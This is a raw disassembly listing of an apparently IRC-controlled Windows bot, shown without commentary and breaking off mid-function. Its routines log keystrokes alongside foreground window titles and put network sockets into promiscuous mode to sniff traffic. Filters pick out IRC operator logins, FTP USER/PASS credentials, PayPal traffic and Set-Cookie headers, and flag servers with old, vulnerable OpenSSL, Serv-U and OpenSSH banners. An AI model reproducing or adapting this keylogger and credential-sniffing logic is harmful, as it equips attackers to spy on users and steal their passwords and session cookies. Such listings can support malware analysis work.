; Sleep push edi loc_41285A: ; CODE XREF: sub_412407+125j call sub_412407 pop edi pop esi pop ebx leave retn 4 sub_412407 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412866 proc near ; CODE XREF: sub_412911+E2p ; sub_412911+1A4p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = byte ptr 18h arg_90 = dword ptr 98h arg_94 = dword ptr 9Ch push ebp mov ebp, esp sub esp, 200h cmp [ebp+arg_90], 0 jz short loc_4128D6 push ebx push esi push 10h mov esi, offset dword_437E98 pop ebx loc_412882: ; CODE XREF: sub_412866+6Aj push esi push [ebp+arg_4] call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_4128C9 push esi lea eax, [ebp+var_200] push [ebp+arg_0] push offset dword_438E04 push 200h push eax call sub_41BFF0 push 0 lea eax, [ebp+var_200] push [ebp+arg_94] push eax lea eax, [ebp+arg_10] push eax push [ebp+arg_8] call sub_409743 add esp, 28h loc_4128C9: ; CODE XREF: sub_412866+29j add esi, 80h dec ebx jnz short loc_412882 pop esi pop ebx jmp short loc_41290D ; --------------------------------------------------------------------------- loc_4128D6: ; CODE XREF: sub_412866+10j push [ebp+arg_0] lea eax, [ebp+var_200] push offset aS_2 ; "%s" push 200h push eax call sub_41BFF0 push 0 lea eax, [ebp+var_200] push [ebp+arg_94] push eax lea eax, [ebp+arg_10] push eax push [ebp+arg_8] call sub_409743 add esp, 24h loc_41290D: ; CODE XREF: sub_412866+6Ej xor eax, eax leave retn sub_412866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412911 proc near ; DATA XREF: sub_401AA1+72CDo var_920 = dword ptr -920h var_91C = byte ptr -91Ch var_520 = byte ptr -520h var_4E0 = byte ptr -4E0h var_2E1 = byte ptr -2E1h var_2E0 = byte ptr -2E0h var_E0 = byte ptr -0E0h var_DC = dword ptr -0DCh var_58 = dword ptr -58h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 920h mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_920], 0 push 26h and [ebp+arg_0], 0 pop ecx mov esi, eax lea edi, [ebp+var_E0] rep movsd mov dword ptr [eax+94h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_91C] rep stosd call dword_4CE28C ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4CE2A4 ; GetWindowTextA mov ebx, 200h loc_41296C: ; CODE XREF: sub_412911+494j push 8 call dword_428080 ; Sleep call dword_4CE28C ; GetForegroundWindow cmp eax, [ebp+var_8] jz loc_412AE4 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4CE2A4 ; GetWindowTextA cmp [ebp+var_58], 0 jz loc_412A69 lea eax, [ebp+var_2E0] push eax call sub_41B650 test eax, eax pop ecx jbe short loc_412A22 lea eax, [ebp+var_48] push eax call sub_41B650 cmp eax, 1 pop ecx jnb short loc_412A22 lea eax, [ebp+var_2E0] push eax lea eax, [ebp+var_4E0] push offset a__S_l_ ; "..%s.." push eax call sub_41BEF6 sub esp, 8Ch lea eax, [ebp+var_48] lea esi, [ebp+var_E0] push 26h pop ecx mov edi, esp push eax lea eax, [ebp+var_4E0] rep movsd push eax call sub_412866 mov [ebp+arg_0], eax push ebx lea eax, [ebp+var_2E0] push 0 push eax call sub_41BC00 add esp, 0ACh lea eax, [ebp+var_4E0] push ebx push 0 push eax call sub_41BC00 add esp, 0Ch loc_412A22: ; CODE XREF: sub_412911+9Bj ; sub_412911+AAj lea eax, [ebp+var_2E0] push eax call sub_41B650 test eax, eax pop ecx jbe loc_412AE4 lea eax, [ebp+var_48] push eax call sub_41B650 test eax, eax pop ecx jbe loc_412AE4 lea eax, [ebp+var_2E0] push eax lea eax, [ebp+var_4E0] push offset a__S_l_ ; "..%s.." push eax call sub_41BEF6 sub esp, 8Ch jmp short loc_412A9D ; --------------------------------------------------------------------------- loc_412A69: ; CODE XREF: sub_412911+86j lea eax, [ebp+var_48] push eax call sub_41B650 test eax, eax pop ecx jbe loc_412B8F lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2E0] push eax lea eax, [ebp+var_4E0] push offset a__S_l_ChangedW ; "..%s.. (Changed Windows: %s)" push eax call sub_41BEF6 sub esp, 88h loc_412A9D: ; CODE XREF: sub_412911+156j push 26h lea eax, [ebp+var_48] pop ecx lea esi, [ebp+var_E0] mov edi, esp push eax lea eax, [ebp+var_4E0] push eax rep movsd call sub_412866 mov [ebp+arg_0], eax push ebx lea eax, [ebp+var_2E0] push 0 push eax call sub_41BC00 add esp, 0ACh lea eax, [ebp+var_4E0] push ebx push 0 push eax call sub_41BC00 add esp, 0Ch loc_412AE4: ; CODE XREF: sub_412911+6Cj ; sub_412911+120j ... cmp [ebp+var_58], 0 jz loc_412B8F push 1 call dword_4CE2D4 ; GetAsyncKeyState cmp ax, 8001h jnz loc_412B8F lea eax, [ebp+var_2E0] push eax call sub_41B650 test eax, eax pop ecx jbe short loc_412B8F call dword_4CE28C ; GetForegroundWindow lea ecx, [ebp+var_520] push 3Ch push ecx push eax call dword_4CE2A4 ; GetWindowTextA lea eax, [ebp+var_2E0] push eax lea eax, [ebp+var_4E0] push offset a__S_l_ ; "..%s.." push eax call sub_41BEF6 sub esp, 8Ch lea eax, [ebp+var_520] lea esi, [ebp+var_E0] push 26h pop ecx mov edi, esp push eax lea eax, [ebp+var_4E0] rep movsd push eax call sub_412866 mov [ebp+arg_0], eax push ebx lea eax, [ebp+var_2E0] push 0 push eax call sub_41BC00 add esp, 0ACh lea eax, [ebp+var_4E0] push ebx push 0 push eax call sub_41BC00 add esp, 0Ch loc_412B8F: ; CODE XREF: sub_412911+164j ; sub_412911+1D7j ... mov [ebp+var_4], offset dword_43869C loc_412B96: ; CODE XREF: sub_412911+48Aj push 10h call dword_4CE1DC ; GetKeyState movsx esi, ax mov eax, [ebp+var_4] mov edi, [eax-4] push edi call dword_4CE2D4 ; GetAsyncKeyState test ah, ah jns short loc_412C2D push 14h call dword_4CE1DC ; GetKeyState test ax, ax jz short loc_412BDE cmp esi, 0FFFFFFFFh jle short loc_412BDE cmp edi, 40h jle short loc_412BDE cmp edi, 5Bh jge short loc_412BDE mov [ebp+edi*4+var_920], 1 jmp loc_412D90 ; --------------------------------------------------------------------------- loc_412BDE: ; CODE XREF: sub_412911+2ACj ; sub_412911+2B1j ... push 14h call dword_4CE1DC ; GetKeyState test ax, ax jz short loc_412C09 test esi, esi jge short loc_412C1D cmp edi, 40h jle short loc_412C09 cmp edi, 5Bh jge short loc_412C09 mov [ebp+edi*4+var_920], 2 jmp loc_412D90 ; --------------------------------------------------------------------------- loc_412C09: ; CODE XREF: sub_412911+2D8j ; sub_412911+2E1j ... test esi, esi jge short loc_412C1D mov [ebp+edi*4+var_920], 3 jmp loc_412D90 ; --------------------------------------------------------------------------- loc_412C1D: ; CODE XREF: sub_412911+2DCj ; sub_412911+2FAj mov [ebp+edi*4+var_920], 4 jmp loc_412D90 ; --------------------------------------------------------------------------- loc_412C2D: ; CODE XREF: sub_412911+29Fj lea eax, [ebp+edi*4+var_920] mov esi, [eax] test esi, esi jz loc_412D90 and dword ptr [eax], 0 lea eax, [ebp+var_2E0] push eax call sub_41B650 cmp edi, 8 pop ecx jnz short loc_412C60 and [ebp+eax+var_2E1], 0 jmp loc_412D90 ; --------------------------------------------------------------------------- loc_412C60: ; CODE XREF: sub_412911+340j cmp eax, 1B9h jbe short loc_412CAF call dword_4CE28C ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4CE2A4 ; GetWindowTextA cmp [ebp+var_58], 0 jz short loc_412C9D lea eax, [ebp+var_2E0] push eax push offset a__S_l_BufferFu ; "..%s.. (Buffer full)" loc_412C8C: ; CODE XREF: sub_412911+3E1j lea eax, [ebp+var_4E0] push eax call sub_41BEF6 add esp, 0Ch jmp short loc_412D13 ; --------------------------------------------------------------------------- loc_412C9D: ; CODE XREF: sub_412911+36Dj lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2E0] push eax push offset a__S_l_Buffer_0 ; "..%s.. (Buffer full) (%s)" jmp short loc_412D04 ; --------------------------------------------------------------------------- loc_412CAF: ; CODE XREF: sub_412911+354j cmp edi, 0Dh jnz loc_412D62 lea eax, [ebp+var_2E0] push eax call sub_41B650 test eax, eax pop ecx jz loc_412D90 call dword_4CE28C ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4CE2A4 ; GetWindowTextA cmp [ebp+var_58], 0 jz short loc_412CF4 lea eax, [ebp+var_2E0] push eax push offset a__S_l_Return ; "..%s.. (Return)" jmp short loc_412C8C ; --------------------------------------------------------------------------- loc_412CF4: ; CODE XREF: sub_412911+3D3j lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2E0] push eax push offset a__S_l_ReturnS ; "..%s.. (Return) (%s)" loc_412D04: ; CODE XREF: sub_412911+39Cj lea eax, [ebp+var_4E0] push eax call sub_41BEF6 add esp, 10h loc_412D13: ; CODE XREF: sub_412911+38Aj sub esp, 98h lea eax, [ebp+var_48] lea esi, [ebp+var_E0] push 26h pop ecx mov edi, esp push eax lea eax, [ebp+var_4E0] rep movsd push eax call sub_412866 mov [ebp+arg_0], eax push ebx lea eax, [ebp+var_2E0] push 0 push eax call sub_41BC00 add esp, 0ACh lea eax, [ebp+var_4E0] push ebx push 0 push eax call sub_41BC00 add esp, 0Ch jmp short loc_412D90 ; --------------------------------------------------------------------------- loc_412D62: ; CODE XREF: sub_412911+3A1j cmp esi, 1 jz short loc_412D7B cmp esi, 3 jz short loc_412D7B cmp esi, 2 jz short loc_412D76 cmp esi, 4 jnz short loc_412D90 loc_412D76: ; CODE XREF: sub_412911+45Ej push [ebp+var_4] jmp short loc_412D82 ; --------------------------------------------------------------------------- loc_412D7B: ; CODE XREF: sub_412911+454j ; sub_412911+459j mov eax, [ebp+var_4] add eax, 7 push eax loc_412D82: ; CODE XREF: sub_412911+468j lea eax, [ebp+var_2E0] push eax call sub_41C530 pop ecx pop ecx loc_412D90: ; CODE XREF: sub_412911+2C8j ; sub_412911+2F3j ... add [ebp+var_4], 14h cmp [ebp+var_4], offset dword_438DCC jl loc_412B96 cmp [ebp+arg_0], 0 jz loc_41296C push [ebp+var_DC] call sub_40B56A pop ecx push 0 call dword_4280D4 ; ExitThread sub_412911 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412DBF proc near ; DATA XREF: sub_401AA1+4135o var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_41C190 mov edx, [ebp+arg_0] push esi push edi push 25h xor eax, eax pop ecx mov esi, edx lea edi, [ebp+var_B4] inc eax push 10h rep movsd mov [ebp+var_8], eax mov [edx+90h], eax xor esi, esi lea eax, [ebp+var_1C] push esi push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_4CE308 ; ntohs push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40A8D5 pop ecx push eax call dword_4CE348 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_4CE388 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_412E94 call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_4397EC push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412E77 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409743 add esp, 14h loc_412E77: ; CODE XREF: sub_412DBF+96j lea eax, [ebp+var_2B4] push eax call sub_415F45 push [ebp+var_30] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread loc_412E94: ; CODE XREF: sub_412DBF+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_441254[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_4CE334 ; bind cmp eax, 0FFFFFFFFh jnz short loc_412F19 call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_4397C0 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412EF5 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409743 add esp, 14h loc_412EF5: ; CODE XREF: sub_412DBF+114j lea eax, [ebp+var_2B4] push eax call sub_415F45 pop ecx push edi call dword_4CE3A0 ; closesocket push [ebp+var_30] call sub_40B56A pop ecx push esi call dword_4280D4 ; ExitThread loc_412F19: ; CODE XREF: sub_412DBF+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_4CE2B4 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_412F9C call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_439790 push eax loc_412F4B: ; DATA XREF: .XPack0:off_43D448o call sub_41BEF6 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412F78 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409743 add esp, 14h loc_412F78: ; CODE XREF: sub_412DBF+197j lea eax, [ebp+var_2B4] push eax call sub_415F45 pop ecx push edi call dword_4CE3A0 ; closesocket push [ebp+var_30] call sub_40B56A pop ecx push esi call dword_4280D4 ; ExitThread loc_412F9C: ; CODE XREF: sub_412DBF+177j push ebx mov ebx, offset dword_438EA8 loc_412FA2: ; CODE XREF: sub_412DBF+21Cj ; sub_412DBF+22Ej ... push 0FFFFh lea eax, [ebp+var_102B4] push esi push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push 0FFFFh push eax push edi call dword_4CE320 ; recv cmp eax, 0FFFFFFFFh jz loc_4130CB cmp [ebp+var_102AB], 6 jnz short loc_412FA2 mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_412FA2 lea eax, [ebp+var_1028C] push offset dword_439784 push eax call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_412FA2 lea eax, [ebp+var_1028C] push offset dword_439774 push eax call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_412FA2 xor edi, edi mov eax, ebx mov [ebp+arg_0], ebx loc_413024: ; CODE XREF: sub_412DBF+280j push eax lea eax, [ebp+var_1028C] push eax call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_413049 inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_413024 loc_413041: ; CODE XREF: sub_412DBF+307j mov edi, [ebp+var_4] jmp loc_412FA2 ; --------------------------------------------------------------------------- loc_413049: ; CODE XREF: sub_412DBF+276j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_4CE238 ; ntohs movzx eax, ax push eax push [ebp+var_C] call dword_4CE394 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_438EBC[eax*8] push off_438E98[eax*4] lea eax, [ebp+var_2B4] push offset dword_439740 push 200h push eax call sub_41BFF0 add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_4130B9 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409743 add esp, 14h loc_4130B9: ; CODE XREF: sub_412DBF+2D8j lea eax, [ebp+var_2B4] push eax call sub_415F45 pop ecx jmp loc_413041 ; --------------------------------------------------------------------------- loc_4130CB: ; CODE XREF: sub_412DBF+20Fj call dword_4CE29C ; WSAGetLastError push eax push offset dword_439714 lea eax, [ebp+var_2B4] push 200h push eax call sub_41BFF0 add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_413111 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409743 add esp, 14h loc_413111: ; CODE XREF: sub_412DBF+330j lea eax, [ebp+var_2B4] push eax call sub_415F45 pop ecx push edi call dword_4CE3A0 ; closesocket push [ebp+var_30] call sub_40B56A pop ecx push esi call dword_4280D4 ; ExitThread sub_412DBF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413135 proc near ; CODE XREF: sub_413444+216p ; sub_413444+240p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4D104C, eax mov eax, offset dword_4D104C retn sub_413135 endp ; =============== S U B R O U T I N E ======================================= sub_413144 proc near ; CODE XREF: sub_413444+2B7p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_41315E loc_41315A: ; CODE XREF: sub_413144+29j ; sub_413144+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41315E: ; CODE XREF: sub_413144+14j push offset asc_42AA28 ; "#l#" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_41315A push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_41315A push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_41315A push offset aJoin_0 ; "JOIN #" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_4131A6 loc_4131A2: ; CODE XREF: sub_413144+71j ; sub_413144+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4131A6: ; CODE XREF: sub_413144+5Cj push offset a302_0 ; "302 " push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_4131A2 push offset a366 ; "366 " push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_4131A2 push offset a_login_0 ; ":.login" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_4131A2 push offset aLogin_1 ; ":!login" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_4131A2 push offset aLogin_0 ; ":!Login" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_4131A2 push offset a_login ; ":.Login" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_4131A2 push offset a_ident ; ":.ident" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_4131A2 push offset aIdent_0 ; ":!ident" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz loc_4131A2 push offset a_hashin ; ":.hashin" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz loc_4131A2 push offset aHashin ; ":!hashin" push esi call sub_41BF70 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413144 endp ; =============== S U B R O U T I N E ======================================= sub_41325B proc near ; CODE XREF: sub_413444:loc_41372Ap arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_413275 loc_413271: ; CODE XREF: sub_41325B+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413275: ; CODE XREF: sub_41325B+14j push offset asc_42AA28 ; "#l#" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_413271 push offset aOper_0 ; "OPER " push esi call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_41329B loc_413297: ; CODE XREF: sub_41325B+4Fj ; sub_41325B+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41329B: ; CODE XREF: sub_41325B+3Aj push offset aNick_1 ; "NICK " push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_413297 push offset aOper ; "oper " push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_413297 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41BF70 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_41325B endp ; =============== S U B R O U T I N E ======================================= sub_4132D1 proc near ; CODE XREF: sub_413444:loc_413756p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_4132EB loc_4132E7: ; CODE XREF: sub_4132D1+29j ; sub_4132D1+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4132EB: ; CODE XREF: sub_4132D1+14j push offset asc_42AA28 ; "#l#" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_4132E7 push offset aNick_1 ; "NICK " push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_4132E7 push offset a220 ; "220 " push esi call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_413322 loc_41331E: ; CODE XREF: sub_4132D1+60j ; sub_4132D1+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413322: ; CODE XREF: sub_4132D1+4Bj push offset a230 ; "230 " push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_41331E push offset aUser_3 ; "USER " push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_41331E push offset aPass_1 ; "PASS " push esi call sub_41BF70 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4132D1 endp ; =============== S U B R O U T I N E ======================================= sub_413358 proc near ; CODE XREF: sub_413444+345p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_413372 loc_41336E: ; CODE XREF: sub_413358+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413372: ; CODE XREF: sub_413358+14j push offset asc_42AA28 ; "#l#" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_41336E push offset aPaypal ; "paypal" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_413398 loc_413394: ; CODE XREF: sub_413358+4Fj ; sub_413358+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413398: ; CODE XREF: sub_413358+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_413394 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_413394 push offset aPaypal_com ; "paypal.com" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_413394 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41BF70 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413358 endp ; =============== S U B R O U T I N E ======================================= sub_4133DF proc near ; CODE XREF: sub_413444:loc_4137F1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_4133F9 loc_4133F5: ; CODE XREF: sub_4133DF+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4133F9: ; CODE XREF: sub_4133DF+14j push offset asc_42AA28 ; "#l#" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_4133F5 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_41341F loc_41341B: ; CODE XREF: sub_4133DF+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41341F: ; CODE XREF: sub_4133DF+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41BF70 pop ecx test eax, eax pop ecx jnz short loc_41341B push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41BF70 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4133DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413444 proc near ; DATA XREF: sub_401AA1+4281o var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41C190 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd xor esi, esi push 3Fh inc esi xor ebx, ebx mov [eax+90h], esi pop ecx xor eax, eax lea edi, [ebp+var_3B7] mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CE31C ; gethostname lea eax, [ebp+var_3B8] push eax call dword_4CE38C ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call near ptr sub_41C9B0 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CE388 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_4134EA pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_4134EA: ; CODE XREF: sub_413444+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CE334 ; bind cmp eax, 0FFFFFFFFh jnz short loc_413560 call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_2B8] push offset unk_439AC0 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_41353C push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409743 add esp, 14h loc_41353C: ; CODE XREF: sub_413444+D6j lea eax, [ebp+var_2B8] push eax call sub_415F45 pop ecx push edi call dword_4CE3A0 ; closesocket push [ebp+var_34] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread loc_413560: ; CODE XREF: sub_413444+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CE2B4 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4135E6 call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_2B8] push offset unk_439A90 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4135C2 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409743 add esp, 14h loc_4135C2: ; CODE XREF: sub_413444+15Cj lea eax, [ebp+var_2B8] push eax call sub_415F45 pop ecx push edi call dword_4CE3A0 ; closesocket push [ebp+var_34] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread loc_4135E6: ; CODE XREF: sub_413444+13Cj mov esi, 200h loc_4135EB: ; CODE XREF: sub_413444+1D6j ; sub_413444+1FFj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CE320 ; recv cmp [ebp+var_113AF], 6 jnz short loc_4135EB push [ebp+var_113A4] call dword_4281E4 ; ntohs push [ebp+var_113A4+2] movzx edi, ax mov [ebp+var_4], edi call dword_4281E4 ; ntohs movzx eax, ax cmp edi, 6Eh mov [ebp+arg_0], eax jz short loc_4135EB cmp edi, 19h jz short loc_4135EB cmp eax, 6Eh jz short loc_4135EB cmp eax, 19h jz short loc_4135EB push [ebp+var_113AC] call sub_413135 mov edi, dword_4281E8 add esp, 4 push dword ptr [eax] call edi ; inet_ntoa push eax lea eax, [ebp+var_13B8] push offset aS_2 ; "%s" push eax call sub_41BEF6 push [ebp+var_113A8] call sub_413135 add esp, 10h push dword ptr [eax] call edi ; inet_ntoa push eax lea eax, [ebp+var_BB8] push offset aS_2 ; "%s" push eax call sub_41BEF6 lea eax, [ebp+var_1138C] xor edi, edi push eax call sub_41B650 add esp, 10h test eax, eax jle short loc_4136E0 loc_4136B7: ; CODE XREF: sub_413444+29Aj lea eax, [ebp+edi+var_1138C] cmp byte ptr [eax], 0Dh jnz short loc_4136C6 mov byte ptr [eax], 20h loc_4136C6: ; CODE XREF: sub_413444+27Dj cmp byte ptr [eax], 0Ah jnz short loc_4136CE mov byte ptr [eax], 20h loc_4136CE: ; CODE XREF: sub_413444+285j lea eax, [ebp+var_1138C] inc edi push eax call sub_41B650 cmp edi, eax pop ecx jl short loc_4136B7 